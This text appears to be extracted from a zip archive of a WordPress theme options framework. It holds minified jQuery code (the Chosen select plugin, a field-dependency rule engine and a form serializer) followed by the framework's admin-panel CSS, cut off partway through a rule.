DOMMouseScroll.chosen",(h=this,function(e){h.search_results_mousewheel(e)})),this.search_results.on("touchstart.chosen",(u=this,function(e){u.search_results_touchstart(e)})),this.search_results.on("touchmove.chosen",(d=this,function(e){d.search_results_touchmove(e)})),this.search_results.on("touchend.chosen",(f=this,function(e){f.search_results_touchend(e)})),this.form_field_jq.on("chosen:updated.chosen",(p=this,function(e){p.results_update_field(e)})),this.form_field_jq.on("chosen:activate.chosen",(_=this,function(e){_.activate_field(e)})),this.form_field_jq.on("chosen:open.chosen",(m=this,function(e){m.container_mousedown(e)})),this.form_field_jq.on("chosen:close.chosen",(g=this,function(e){g.close_field(e)})),this.search_field.on("blur.chosen",(v=this,function(e){v.input_blur(e)})),this.search_field.on("keyup.chosen",(y=this,function(e){y.keyup_checker(e)})),this.search_field.on("keydown.chosen",(b=this,function(e){b.keydown_checker(e)})),this.search_field.on("focus.chosen",(w=this,function(e){w.input_focus(e)})),this.search_field.on("cut.chosen",(D=this,function(e){D.clipboard_event_checker(e)})),this.search_field.on("paste.chosen",(C=this,function(e){C.clipboard_event_checker(e)})),this.is_multiple?this.search_choices.on("click.chosen",(x=this,function(e){x.choices_click(e)})):this.container.on("click.chosen",function(e){e.preventDefault()})},o.prototype.destroy=function(){return a(this.container[0].ownerDocument).off("click.chosen",this.click_test_action),0<this.form_field_label.length&&this.form_field_label.off("click.chosen"),this.search_field[0].tabIndex&&(this.form_field_jq[0].tabIndex=this.search_field[0].tabIndex),this.container.remove(),this.form_field_jq.removeData("chosen"),this.form_field_jq.show()},o.prototype.search_field_disabled=function(){return this.is_disabled=this.form_field.disabled||this.form_field_jq.parents("fieldset").is(":disabled"),this.container.toggleClass("chosen-disabled",this.is_disabled),this.search_field[0].disabled=this.is_disabled,this.is_multiple||this.selected_item.off("focus.chosen",this.activate_field),this.is_disabled?this.close_field():this.is_multiple?void 0:this.selected_item.on("focus.chosen",this.activate_field)},o.prototype.container_mousedown=function(e){var t;if(!this.is_disabled)return!e||"mousedown"!==(t=e.type)&&"touchstart"!==t||this.results_showing||e.preventDefault(),null!=e&&a(e.target).hasClass("search-choice-close")?void 0:(this.active_field?this.is_multiple||!e||a(e.target)[0]!==this.selected_item[0]&&!a(e.target).parents("a.chosen-single").length||(e.preventDefault(),this.results_toggle()):(this.is_multiple&&this.search_field.val(""),a(this.container[0].ownerDocument).on("click.chosen",this.click_test_action),this.results_show()),this.activate_field())},o.prototype.container_mouseup=function(e){if("ABBR"===e.target.nodeName&&!this.is_disabled)return this.results_reset(e)},o.prototype.search_results_mousewheel=function(e){var t;if(null!=(t=e.originalEvent?e.originalEvent.deltaY||-e.originalEvent.wheelDelta||e.originalEvent.detail:t))return e.preventDefault(),"DOMMouseScroll"===e.type&&(t*=40),this.search_results.scrollTop(t+this.search_results.scrollTop())},o.prototype.blur_test=function(e){if(!this.active_field&&this.container.hasClass("chosen-container-active"))return this.close_field()},o.prototype.close_field=function(){return a(this.container[0].ownerDocument).off("click.chosen",this.click_test_action),this.active_field=!1,this.results_hide(),this.container.removeClass("chosen-container-active"),this.clear_backstroke(),this.show_search_field_default(),this.search_field_scale(),this.search_field.blur()},o.prototype.activate_field=function(){if(!this.is_disabled)return this.container.addClass("chosen-container-active"),this.active_field=!0,this.search_field.val(this.search_field.val()),this.search_field.focus()},o.prototype.test_active_click=function(e){e=a(e.target).closest(".chosen-container");return e.length&&this.container[0]===e[0]?this.active_field=!0:this.close_field()},o.prototype.results_build=function(){return this.parsing=!0,this.selected_option_count=null,this.results_data=r.select_to_array(this.form_field),this.is_multiple?this.search_choices.find("li.search-choice").remove():(this.single_set_selected_text(),this.disable_search||this.form_field.options.length<=this.disable_search_threshold?(this.search_field[0].readOnly=!0,this.container.addClass("chosen-container-single-nosearch")):(this.search_field[0].readOnly=!1,this.container.removeClass("chosen-container-single-nosearch"))),this.update_results_content(this.results_option_build({first:!0})),this.search_field_disabled(),this.show_search_field_default(),this.search_field_scale(),this.parsing=!1},o.prototype.result_do_highlight=function(e){var t,n,i;if(e.length)return this.result_clear_highlight(),this.result_highlight=e,this.result_highlight.addClass("highlighted"),(e=parseInt(this.search_results.css("maxHeight"),10))+(i=this.search_results.scrollTop())<=(t=(n=this.result_highlight.position().top+this.search_results.scrollTop())+this.result_highlight.outerHeight())?this.search_results.scrollTop(0<t-e?t-e:0):n<i?this.search_results.scrollTop(n):void 0},o.prototype.result_clear_highlight=function(){return this.result_highlight&&this.result_highlight.removeClass("highlighted"),this.result_highlight=null},o.prototype.results_show=function(){return this.is_multiple&&this.max_selected_options<=this.choices_count()?(this.form_field_jq.trigger("chosen:maxselected",{chosen:this}),!1):(this.container.addClass("chosen-with-drop"),this.results_showing=!0,this.search_field.focus(),this.search_field.val(this.get_search_field_value()),this.winnow_results(),this.form_field_jq.trigger("chosen:showing_dropdown",{chosen:this}))},o.prototype.update_results_content=function(e){return this.search_results.html(e)},o.prototype.results_hide=function(){return this.results_showing&&(this.result_clear_highlight(),this.container.removeClass("chosen-with-drop"),this.form_field_jq.trigger("chosen:hiding_dropdown",{chosen:this})),this.results_showing=!1},o.prototype.set_tab_index=function(e){var t;if(this.form_field.tabIndex)return t=this.form_field.tabIndex,this.form_field.tabIndex=-1,this.search_field[0].tabIndex=t},o.prototype.set_label_behavior=function(){if(this.form_field_label=this.form_field_jq.parents("label"),!this.form_field_label.length&&this.form_field.id.length&&(this.form_field_label=a("label[for='"+this.form_field.id+"']")),0<this.form_field_label.length)return this.form_field_label.on("click.chosen",this.label_click_handler)},o.prototype.show_search_field_default=function(){return this.is_multiple&&this.choices_count()<1&&!this.active_field?(this.search_field.val(this.default_text),this.search_field.addClass("default")):(this.search_field.val(""),this.search_field.removeClass("default"))},o.prototype.search_results_mouseup=function(e){var t=a(e.target).hasClass("active-result")?a(e.target):a(e.target).parents(".active-result").first();if(t.length)return this.result_highlight=t,this.result_select(e),this.search_field.focus()},o.prototype.search_results_mouseover=function(e){e=a(e.target).hasClass("active-result")?a(e.target):a(e.target).parents(".active-result").first();if(e)return this.result_do_highlight(e)},o.prototype.search_results_mouseout=function(e){if(a(e.target).hasClass("active-result")||a(e.target).parents(".active-result").first())return this.result_clear_highlight()},o.prototype.choice_build=function(e){var t,n=a("<li />",{class:"search-choice"}).html("<span>"+this.choice_label(e)+"</span>");return e.disabled?n.addClass("search-choice-disabled"):((e=a("<a />",{class:"search-choice-close","data-option-array-index":e.array_index})).on("click.chosen",(t=this,function(e){return t.choice_destroy_link_click(e)})),n.append(e)),this.search_container.before(n)},o.prototype.choice_destroy_link_click=function(e){if(e.preventDefault(),e.stopPropagation(),!this.is_disabled)return this.choice_destroy(a(e.target))},o.prototype.choice_destroy=function(e){if(this.result_deselect(e[0].getAttribute("data-option-array-index")))return this.active_field?this.search_field.focus():this.show_search_field_default(),this.is_multiple&&0<this.choices_count()&&this.get_search_field_value().length<1&&this.results_hide(),e.parents("li").first().remove(),this.search_field_scale()},o.prototype.results_reset=function(){if(this.reset_single_select_options(),this.form_field.options[0].selected=!0,this.single_set_selected_text(),this.show_search_field_default(),this.results_reset_cleanup(),this.trigger_form_field_change(),this.active_field)return this.results_hide()},o.prototype.results_reset_cleanup=function(){return this.current_selectedIndex=this.form_field.selectedIndex,this.selected_item.find("abbr").remove()},o.prototype.result_select=function(e){var t;if(this.result_highlight)return t=this.result_highlight,this.result_clear_highlight(),this.is_multiple&&this.max_selected_options<=this.choices_count()?(this.form_field_jq.trigger("chosen:maxselected",{chosen:this}),!1):(this.is_multiple?t.removeClass("active-result"):this.reset_single_select_options(),t.addClass("result-selected"),(t=this.results_data[t[0].getAttribute("data-option-array-index")]).selected=!0,this.form_field.options[t.options_index].selected=!0,this.selected_option_count=null,this.is_multiple?this.choice_build(t):this.single_set_selected_text(this.choice_label(t)),this.is_multiple&&(!this.hide_results_on_select||e.metaKey||e.ctrlKey)?e.metaKey||e.ctrlKey?this.winnow_results({skip_highlight:!0}):(this.search_field.val(""),this.winnow_results()):(this.results_hide(),this.show_search_field_default()),!this.is_multiple&&this.form_field.selectedIndex===this.current_selectedIndex||this.trigger_form_field_change({selected:this.form_field.options[t.options_index].value}),this.current_selectedIndex=this.form_field.selectedIndex,e.preventDefault(),this.search_field_scale())},o.prototype.single_set_selected_text=function(e){return(e=null==e?this.default_text:e)===this.default_text?this.selected_item.addClass("chosen-default"):(this.single_deselect_control_build(),this.selected_item.removeClass("chosen-default")),this.selected_item.find("span").html(e)},o.prototype.result_deselect=function(e){e=this.results_data[e];return!this.form_field.options[e.options_index].disabled&&(e.selected=!1,this.form_field.options[e.options_index].selected=!1,this.selected_option_count=null,this.result_clear_highlight(),this.results_showing&&this.winnow_results(),this.trigger_form_field_change({deselected:this.form_field.options[e.options_index].value}),this.search_field_scale(),!0)},o.prototype.single_deselect_control_build=function(){if(this.allow_single_deselect)return this.selected_item.find("abbr").length||this.selected_item.find("span").first().after('<abbr class="search-choice-close"></abbr>'),this.selected_item.addClass("chosen-single-with-deselect")},o.prototype.get_search_field_value=function(){return this.search_field.val()},o.prototype.get_search_text=function(){return a.trim(this.get_search_field_value())},o.prototype.escape_html=function(e){return a("<div/>").text(e).html()},o.prototype.winnow_results_set_highlight=function(){var e=this.is_multiple?[]:this.search_results.find(".result-selected.active-result"),e=(e.length?e:this.search_results.find(".active-result")).first();if(null!=e)return this.result_do_highlight(e)},o.prototype.no_results=function(e){e=this.get_no_results_html(e);return this.search_results.append(e),this.form_field_jq.trigger("chosen:no_results",{chosen:this})},o.prototype.no_results_clear=function(){return this.search_results.find(".no-results").remove()},o.prototype.keydown_arrow=function(){var e;return this.results_showing&&this.result_highlight?(e=this.result_highlight.nextAll("li.active-result").first())?this.result_do_highlight(e):void 0:this.results_show()},o.prototype.keyup_arrow=function(){var e;return this.results_showing||this.is_multiple?this.result_highlight?(e=this.result_highlight.prevAll("li.active-result")).length?this.result_do_highlight(e.first()):(0<this.choices_count()&&this.results_hide(),this.result_clear_highlight()):void 0:this.results_show()},o.prototype.keydown_backstroke=function(){var e;return this.pending_backstroke?(this.choice_destroy(this.pending_backstroke.find("a").first()),this.clear_backstroke()):(e=this.search_container.siblings("li.search-choice").last()).length&&!e.hasClass("search-choice-disabled")?(this.pending_backstroke=e,this.single_backstroke_delete?this.keydown_backstroke():this.pending_backstroke.addClass("search-choice-focus")):void 0},o.prototype.clear_backstroke=function(){return this.pending_backstroke&&this.pending_backstroke.removeClass("search-choice-focus"),this.pending_backstroke=null},o.prototype.search_field_scale=function(){var e,t,n,i,o,s,r;if(this.is_multiple){for(o={position:"absolute",left:"-1000px",top:"-1000px",display:"none",whiteSpace:"pre"},t=0,n=(s=["fontSize","fontStyle","fontWeight","fontFamily","lineHeight","textTransform","letterSpacing"]).length;t<n;t++)o[i=s[t]]=this.search_field.css(i);return(e=a("<div />").css(o)).text(this.get_search_field_value()),a("body").append(e),r=e.width()+25,e.remove(),this.container.is(":visible")&&(r=Math.min(this.container.outerWidth()-10,r)),this.search_field.width(r)}},o.prototype.trigger_form_field_change=function(e){return this.form_field_jq.trigger("input",e),this.form_field_jq.trigger("change",e)},o}()}.call(this),function(r){"use strict";function i(e,t,n){this.init(e,t,n)}function e(){this.rules=[]}r.extend(i.prototype,{init:function(e,t,n){this.controller=e,this.condition=t,this.value=n,this.rules=[],this.controls=[]},evalCondition:function(e,t,n,i,o){if("=="==n)return this.checkBoolean(i)==this.checkBoolean(o);if("!="==n)return this.checkBoolean(i)!=this.checkBoolean(o);if(">="==n)return Number(o)>=Number(i);if("<="==n)return Number(o)<=Number(i);if(">"==n)return Number(o)>Number(i);if("<"==n)return Number(o)<Number(i);if("()"==n)return window[i](e,t,o);if("any"==n){if(r.isArray(o)){for(var s=o.length-1;0<=s;s--)if(-1!==r.inArray(o[s],i.split(",")))return!0}else if(-1!==r.inArray(o,i.split(",")))return!0}else if("not-any"==n)if(r.isArray(o)){for(s=o.length-1;0<=s;s--)if(-1==r.inArray(o[s],i.split(",")))return!0}else if(-1==r.inArray(o,i.split(",")))return!0;return!1},checkBoolean:function(e){switch(e){case!0:case"true":case 1:case"1":e=!0;break;case null:case!1:case"false":case 0:case"0":e=!1}return e},checkCondition:function(e){if(!this.condition)return!0;var t=e.find(this.controller),n=this.getControlValue(e,t);return void 0!==n&&(n=this.normalizeValue(t,this.value,n),this.evalCondition(e,t,this.condition,this.value,n))},normalizeValue:function(e,t,n){return"number"==typeof t?parseFloat(n):n},getControlValue:function(e,t){return 1<t.length&&("radio"==t.attr("type")||"checkbox"==t.attr("type"))?t.filter(":checked").map(function(){return this.value}).get():"checkbox"==t.attr("type")||"radio"==t.attr("type")?t.is(":checked"):t.val()},createRule:function(e,t,n){e=new i(e,t,n);return this.rules.push(e),e},include:function(e){this.controls.push(e)},applyRule:function(n,e){var e=void 0===e?this.checkCondition(n):e,t=r.map(this.controls,function(e,t){return n.find(e)});e?(r(t).each(function(){r(this).removeClass("csf-depend-on")}),r(this.rules).each(function(){this.applyRule(n)})):(r(t).each(function(){r(this).addClass("csf-depend-on")}),r(this.rules).each(function(){this.applyRule(n,!1)}))}}),r.extend(e.prototype,{createRule:function(e,t,n){e=new i(e,t,n);return this.rules.push(e),e},applyRules:function(e){r(this.rules).each(function(){this.applyRule(e)})}}),r.csf_deps={createRuleset:function(){return new e},enable:function(t,n,i){return t.on("change keyup",function(e){e=e.target.getAttribute("data-depend-id")||e.target.getAttribute("data-sub-depend-id");-1!==i.indexOf(e)&&n.applyRules(t)}),n.applyRules(t),!0}}}(jQuery),function(e,t){var n;"function"==typeof define&&define.amd?define(["exports","jquery"],t):"undefined"!=typeof exports?(n=require("jquery"),t(exports,n)):t(e,e.jQuery||e.Zepto||e.ender||e.$)}(this,function(e,t){var a={validate:/^(?!(_nonce|_pseudo))[a-zA-Z0-9_-]*(?:\[(?:\d*|(?!(_nonce|_pseudo))[a-zA-Z0-9_-]+)\])*$/i,key:/[a-zA-Z0-9_-]+|(?=\[\])/g,named:/^[a-zA-Z0-9_-]+$/,push:/^$/,fixed:/^\d+$/};function n(i,e){var t={},o={};function s(e,t,n){return e[t]=n,e}function n(e,t){for(var n,i=e.match(a.key);void 0!==(n=i.pop());)a.push.test(n)?t=s([],function(e){void 0===o[e]&&(o[e]=0);return o[e]++}(e.replace(/\[\]$/,"")),t):a.fixed.test(n)?t=s([],n,t):a.named.test(n)&&(t=s({},n,t));return t}function r(){return t}this.addPair=function(e){return a.validate.test(e.name)&&(e=n(e.name,e.value),t=i.extend(!0,t,e)),this},this.addPairs=function(e){if(!i.isArray(e))throw new Error("formSerializer.addPairs expects an Array");for(var t=0,n=e.length;t<n;t++)this.addPair(e[t]);return this},this.serialize=r,this.serializeJSON=function(){return JSON.stringify(t)}}return n.patterns=a,n.serializeObject=function(){return new n(t).addPairs(this.serializeArray()).serialize()},n.serializeJSON=function(){return new n(t).addPairs(this.serializeArray()).serializeJSON()},void 0!==t.fn&&(t.fn.serializeObjectCSF=n.serializeObject,t.fn.serializeJSONCSF=n.serializeJSON),e.FormSerializer=n});PK     N\    2  inc/options/framework/assets/css/style-rtl.min.cssnu [        .csf-options{margin-left:20px;margin-right:0}.csf-nav-normal+.csf-content{margin-left:0}.csf-header h1{float:right}.csf-header fieldset{float:left}.csf-buttons{float:left;direction:ltr}.csf-header-left{float:right}.csf-header-right{float:left}.csf-nav{float:right}.csf-nav ul{clear:right}.csf-nav ul li .csf-active:after{right:auto;left:0;border-left-color:#fff;border-right-color:transparent}.csf-nav ul li .csf-arrow:after{content:"\f053";right:auto;left:10px}.csf-nav ul li.csf-tab-expanded .csf-arrow:after{transform:rotate(-90deg)}.csf-nav ul ul li a{padding-right:25px;padding-left:15px}.csf-nav ul ul:before{left:auto;right:15px}.csf-nav .csf-tab-icon{left:auto;right:0}.penci-cpnale-tab-title{padding-left:0;padding-right:45px}.csf-theme-light .csf-nav-background{border-right:0;border-left:0}.csf-theme-light .csf-nav-normal>ul li a{border-right:0;border-left:0}body .csf-theme-light .csf-nav ul li .csf-active:after{left:12px;right:auto;content:"\f053"}.csf-nav-background{left:auto;right:0}.csf-content{margin-left:0;margin-right:225px}.csf-sections{float:right}.csf-show-all .csf-content{margin-right:0;overflow:hidden}.csf-expand-all{float:right;right:auto;left:40px;margin-right:0;margin-left:4px}.csf-search{float:right}.csf-search input{margin:0 0 0 5px}.csf-copyright{float:right}.csf-metabox{margin:-6px -12px -12px -12px}.csf-metabox .csf-section-title{padding:20px}.csf-section-title .csf-section-icon{margin-left:5px;margin-right:0}.csf-field .csf-title{float:right}.csf-field .csf-fieldset{float:left}.csf-pseudo-field{padding:0 0 0 5px!important}.csf-field-typography select{margin:0;width:100%}.csf-field-typography .csf--blocks-inputs .csf--blocks{flex-direction:row-reverse}.csf-field-typography .csf--unit{left:4px;right:auto}.csf-field-checkbox ul ul li,.csf-field-radio ul ul li{margin-left:0;margin-right:8px}.csf-field-checkbox ul ul li:first-child,.csf-field-radio ul ul li:first-child{margin-right:0}.csf-field-checkbox .csf--inline-list li,.csf-field-radio .csf--inline-list li{margin-right:0;margin-left:15px}.csf-field-checkbox .csf--text,.csf-field-radio .csf--text{margin-left:0;margin-right:5px}.csf-field-switcher .csf--switcher{float:right}.csf-field-switcher .csf--label{float:right;margin-left:0;margin-right:5px}.csf-field-upload .csf--button,.csf-field-upload .csf--remove{margin-left:0;margin-right:5px}.csf-field-group .csf-cloneable-title{padding:15px 10px 15px 65px}.csf-field-group .csf-cloneable-helper{right:auto;left:10px}.csf-field-repeater .csf-repeater-helper{border-left:0;border-right:1px solid #eee}.csf-help{right:auto;left:5px}.csf-field-icon .button{margin-right:0;margin-left:5px}.csf-field-icon .csf-icon-preview i{margin-right:0;margin-left:5px}.csf-field-gallery ul li{margin-right:0;margin-left:5px}.csf-field-gallery .button{margin-right:0;margin-left:5px}.csf-field-tabbed .csf-tabbed-nav .csf--icon{padding-right:0;padding-left:5px}.csf-field-tabbed .csf-tabbed-nav a{margin-right:0;margin-left:5px}.csf-field-media .button{margin-left:0;margin-right:7px}.csf-field-media .hidden+.button{margin-right:0}.csf-notice{border-left:none;border-right-style:solid;border-right-width:4px}.csf-field-border .csf--input,.csf-field-border .csf-fieldset,.csf-field-dimensions .csf--input,.csf-field-dimensions .csf-fieldset,.csf-field-sizes .csf--inputs,.csf-field-sizes .csf-fieldset,.csf-field-spacing .csf--input,.csf-field-spacing .csf-fieldset,.csf-field-spacings .csf--inputs,.csf-field-spacings .csf-fieldset{direction:ltr}.csf-field-border .csf--color,.csf-field-border .csf--inputs,.csf-field-dimensions .csf--color,.csf-field-dimensions .csf--inputs,.csf-field-sizes .csf--color,.csf-field-sizes .csf--inputs,.csf-field-spacing .csf--color,.csf-field-spacing .csf--inputs,.csf-field-spacings .csf--color,.csf-field-spacings .csf--inputs{float:right}.csf-field-border .csf--color,.csf-field-dimensions .csf--color,.csf-field-spacing .csf--color{margin-right:4px;direction:rtl}.csf-field-background .csf--block{float:right}.csf-field-background .csf--media,.csf-field-background .csf--select{padding-right:0}.csf-field-background .csf--title{margin-right:0;margin-left:5px}.csf-field-spinner .csf--spin{float:right;direction:ltr}.csf-field-slider .csf-slider-ui{direction:ltr;margin-right:0;margin-left:15px}.csf-field-slider .csf--input{direction:ltr}.csf-field-button_set .csf--button-group{float:right}.csf-field-link_color .csf--left{float:right;margin-right:0;margin-left:10px}.csf-field-color_group .csf--left{float:right;margin-right:0;margin-left:10px}.csf-field-palette .csf--palette{margin-right:0;margin-left:10px}.csf-field-accordion .csf--icon{margin-right:0;margin-left:2px}.csf-field-date .csf--to{margin-left:0;margin-right:7px}.csf-field-map .csf--map-input:last-child{padding-left:0;padding-right:10px}.csf-field-sortable .csf-sortable-helper{border-left:none;border-right:1px solid #eee}.csf-field-number .csf--wrap{float:right}.csf-field-number .csf--unit{left:4px;right:auto}.csf-taxonomy-add-fields{margin-right:0;margin-left:30px}.csf-taxonomy-add-fields .csf-field>.csf-fieldset>.csf-help{left:-5px;right:auto}.csf-taxonomy-edit-fields{margin-right:0;margin-left:35px}.csf-taxonomy-edit-fields .csf-field>.csf-fieldset>.csf-help{right:auto;left:-5px}.csf-profile-options>h2>.fa{padding-right:0;padding-left:7px}.csf-profile-options>.csf-field>.csf-fieldset>.csf-help{left:-5px;right:auto}.csf-nav-menu-options>.csf-fields{margin-left:0;margin-right:-10px}.csf-nav-menu-title{padding-left:14px;padding-right:12px}.csf-nav-menu-icon{margin-right:0;margin-left:5px}.csf-modal-content .csf-field{padding:15px 15px 15px 30px}.csf-modal-title{padding:0 16px 0 36px}.csf-modal-close{right:auto;left:0}.control-section .csf-field .csf-fieldset{margin-right:0}@media only screen and (max-width:1200px){.csf-metabox .csf-field .csf-fieldset{margin-left:0}}@media only screen and (max-width:782px){.csf .csf-content,.csf .csf-fieldset{margin-right:0}}.csf-field .csf--transparent-slider{margin-left:0;margin-right:2px}.csf-field .csf--transparent-slider .ui-slider-handle{margin:0 -11px}.csf-field .csf--transparent-offset{background-position:center right}.csf-field .csf--transparent-text{right:auto;left:10px}.csf-desc-text{float:right;text-align:right}.csf-heading-expand{left:30px;right:auto}PK     N\ͻP  *  inc/options/framework/assets/css/style.cssnu [        .csf {
  position: relative;
}
.csf label {
  padding: 0;
  margin: 0;
  display: inline-block;
}
.csf-ab-icon {
  top: 2px;
}
#screen-meta-links + .csf-options {
  margin-top: 40px;
}
.csf-options {
  margin-top: 40px;
  margin-right: 15px;
  margin-left: 15px;
}
.csf-header {
  position: relative;
}
.csf-header-inner {
  padding: 25px;
  transition: box-shadow 0.3s ease;
}
.csf-header-inner h1 {
  float: left;
  font-size: 1.5em;
  line-height: 26px;
  font-weight: 400;
  margin: 0;
}
.csf-header-inner h1 small {
  font-size: 11px;
  font-weight: 500;
}
.csf-sticky .csf-header-inner {
  position: fixed;
  z-index: 99;
  top: 32px;
  box-shadow: 0 5px 10px rgba(0, 0, 0, 0.1);
}
.csf-buttons {
  float: right;
}
.csf-buttons .button {
  margin: 0 2px;
  line-height: 34px;
  border-radius: 0;
}
.csf-buttons .button:focus {
  outline: 0 !important;
  box-shadow: none !important;
}
.csf-buttons .csf-save {
  min-width: 72px;
}
.csf-header-left {
  float: left;
}
.csf-header-right {
  float: right;
}
.csf-nav {
  display: block;
  position: relative;
  z-index: 10;
  float: left;
}
.csf-nav ul {
  clear: left;
  margin: 0;
  list-style-type: none;
}
.csf-nav ul li {
  margin-bottom: 0;
}
.csf-nav ul li a {
  font-size: 14px;
  position: relative;
  display: block;
  padding: 20px 15px;
  text-decoration: none;
  transition-property: color, background;
  transition-duration: 0.2s;
  transition-timing-function: ease;
  line-height: 1.4;
}
.csf-nav ul li a:focus {
  outline: 0;
  box-shadow: none;
}
.csf-nav ul li .csf-arrow:after {
  content: "\f054";
  display: inline-block;
  font-family: "Font Awesome 5 Pro", "Font Awesome 5 Free", FontAwesome;
  font-weight: 900;
  font-size: 9px;
  line-height: 1;
  position: absolute;
  right: 12px;
  top: 50%;
  margin-top: -4px;
}
.csf-nav ul li.csf-tab-expanded .csf-arrow:after {
  transform: rotate(90deg);
}
.csf-nav ul li.csf-tab-expanded ul {
  display: block;
}
.csf-nav ul ul {
  display: none;
  position: relative;
}
.csf-nav ul ul li a {
  font-size: 12px;
  padding: 12px 15px 12px 30px;
}
.csf-nav ul li.csf-tab-expanded ul {
    background: transparent;
}
.csf-nav .csf-tab-icon {
  width: 20px;
  margin-right: 20px;
  font-size: 26px;
  text-align: center;
  vertical-align: middle;
  position: absolute;
  left: 20px;
  top: 0;
  bottom: 0;
  display: flex;
  align-items: center;
}
.penci-cpnale-tab-title {
  padding-left: 45px;
  display: block;
}
.csf-nav .csf-label-error {
  margin-left: 4px;
  vertical-align: top;
}
.csf-nav-normal {
  width: 225px;
}
.csf-nav-normal + .csf-content {
  margin-left: 225px;
}
.csf-nav-inline {
  width: 100%;
}
.csf-nav-inline ul li {
  display: inline-block;
  vertical-align: top;
}
.csf-nav-background {
  position: absolute;
  top: 0;
  left: 0;
  bottom: 0;
  z-index: 9;
  width: 225px;
}
.csf-wrapper {
  position: relative;
}
.csf-content {
  position: relative;
  background-color: #fff;
}
.csf-sections {
  float: left;
  width: 100%;
}
.csf-section-title {
  display: none;
  padding: 20px 30px;
  background-color: #f5f5f5;
  border-top: 1px solid #eee;
  border-bottom: 1px solid #eee;
}
.csf-section-title h3 {
  margin: 0;
  padding: 0;
  font-size: 13px;
  font-weight: 700;
  text-transform: uppercase;
}
.csf-section-title .csf-section-icon {
  margin-right: 5px;
}
.csf-footer {
  padding: 20px;
  font-size: 11px;
}
.csf-copyright {
  float: left;
  margin-top: 5px;
}
.csf-search-all .csf-nav,
.csf-search-all .csf-nav-background,
.csf-show-all .csf-nav,
.csf-show-all .csf-nav-background {
  display: none;
}
.csf-search-all .csf-content,
.csf-show-all .csf-content {
  margin-left: 0;
}
.csf-search-all .csf-section,
.csf-search-all .csf-section-title,
.csf-show-all .csf-section,
.csf-show-all .csf-section-title {
  display: block !important;
}
.csf-search-all .csf-section-title {
  display: none !important;
}
.csf-expand-all {
  float: left;
  padding: 0 8px;
  margin-right: 4px;
  z-index: 1;
  font-size: 13px;
  line-height: 30px;
  cursor: pointer;
  user-select: none;
  border-radius: 0;
  transition: all 0.2s;
}
.csf-expand-all span {
  font-size: 11px;
  vertical-align: middle;
}
.csf-search {
  float: left;
}
.csf-search input {
  margin: 0 2px 0 0;
  border: none;
  font-size: 12px;
  line-height: 36px;
  min-height: 30px;
  text-align: inherit;
  padding: 0 10px;
  border-radius: 0;
  box-shadow: none;
}
.csf-search input:focus {
  box-shadow: none;
}
.csf-saving .csf-buttons,
.csf-saving .csf-content {
  cursor: default;
  pointer-events: none;
  opacity: 0.5;
}
.csf-metabox {
  margin: -6px -12px -12px -12px;
}
.csf-metabox .csf-field {
  padding: 20px;
}
.csf-metabox .csf-section-title {
  padding: 20px;
}
.block-editor-page .csf-metabox {
  margin: -6px -14px -14px -14px;
}
.block-editor-editor-skeleton__content .csf-metabox {
  border-left: 1px solid #e2e4e7;
  border-right: 1px solid #e2e4e7;
}
.csf-sections-reset {
  float: left;
  width: 100%;
  text-align: right;
  border-top: 1px solid #eee;
}
.csf-sections-reset .csf-button-cancel,
.csf-sections-reset input {
  display: none;
}
.csf-sections-reset label {
  padding: 10px;
}
.csf-sections-reset span {
  -webkit-user-select: none;
  user-select: none;
}
.csf-sections-reset input:checked ~ .csf-button-reset {
  display: none;
}
.csf-sections-reset input:checked ~ .csf-button-cancel {
  display: inline-block;
}
#side-sortables .csf-section-title {
  padding: 12px;
}
#side-sortables .csf-field {
  padding: 10px 15px;
}
#side-sortables .csf-field .csf-title {
  float: none;
  width: 100%;
  margin-bottom: 6px;
}
#side-sortables .csf-field .csf-fieldset {
  float: none;
  width: 100%;
}
#side-sortables .csf-field-text input {
  width: 100%;
}
#side-sortables .csf-notice {
  padding: 10px 15px;
}
.csf-comment-metabox {
  margin: -6px -12px -12px -12px;
}
.csf-comment-metabox .csf-field {
  padding: 20px;
}
.csf-comment-metabox .csf-section-title {
  padding: 20px;
}
.csf-tooltip {
  position: absolute;
  z-index: 5000001;
  font-size: 12px;
  line-height: 1.4;
  text-align: center;
  text-decoration: none;
  padding: 6px 12px;
  max-width: 200px;
  color: #fff;
  background-color: #000;
  background-color: rgba(0, 0, 0, 0.85);
  border-radius: 0;
}
.csf-theme-dark .csf-header-inner {
  background-color: #050505;
}
.csf-theme-dark .csf-header-inner h1 {
  color: #fff;
}
.csf-theme-dark .csf-header-inner h1 small {
  color: #555;
}
.csf-theme-dark .csf-expand-all {
  color: #999;
  background-color: #222;
}
.csf-theme-dark .csf-expand-all:hover {
  color: #fff;
  background-color: #333;
}
.csf-theme-dark .csf-search input {
  color: #fff;
  background-color: #222;
}
.csf-theme-dark .csf-search:focus {
  background-color: #444;
}
.csf-theme-dark .csf-search::-webkit-input-placeholder {
  color: #666;
}
.csf-theme-dark .csf-nav ul li a {
  color: #999;
  border-color: #2f2f2f;
  background-color: #222;
}
.csf-theme-dark .csf-nav ul li a:hover {
  color: #fff;
}
.csf-theme-dark .csf-nav ul li .csf-active {
  color: #fff;
  background-color: #111;
}
.csf-theme-dark .csf-nav ul ul li a {
  border-color: #2f2f2f;
  background-color: #191919;
}
.csf-theme-dark .csf-nav ul ul li .csf-active {
  background-color: #101010;
}
.csf-theme-dark .csf-nav ul ul:before {
  background-color: rgba(34, 34, 34, 0.75);
}
.csf-theme-dark .csf-nav > ul > li:last-child > a {
  border: none;
}
.csf-theme-dark .csf-nav-normal ul li a {
  border-bottom-width: 1px;
  border-bottom-style: solid;
}
.csf-theme-dark .csf-nav-normal ul li .csf-active:after {
  content: " ";
  position: absolute;
  right: 0;
  top: 50%;
  height: 0;
  width: 0;
  pointer-events: none;
  border: solid transparent;
  border-right-color: #fff;
  border-width: 4px;
  margin-top: -4px;
}
.csf-theme-dark .csf-nav-inline {
  background-color: #222;
}
.csf-theme-dark .csf-nav-inline ul li a {
  text-align: center;
  border-right-width: 1px;
  border-right-style: solid;
}
.csf-theme-dark .csf-nav-inline ul li .csf-active:after {
  content: " ";
  position: absolute;
  left: 50%;
  bottom: 0;
  height: 0;
  width: 0;
  pointer-events: none;
  border: solid transparent;
  border-bottom-color: #fff;
  border-width: 4px;
  margin-left: -4px;
}
.csf-theme-dark .csf-nav-background {
  background-color: #222;
}
.csf-theme-dark .csf-footer {
  color: #555;
  background-color: #050505;
}
.csf-theme-light .csf-container {
  box-shadow: 0 0 15 rgba(0, 0, 0, 0.04);
}
.csf-theme-light .csf-header-inner {
  border-bottom: 1px solid #ccd0d4;
  background-color: #f5f5f5;
}
.csf-theme-light .csf-header-inner h1 small {
  color: #999;
}
.csf-theme-light .csf-expand-all {
  color: #999;
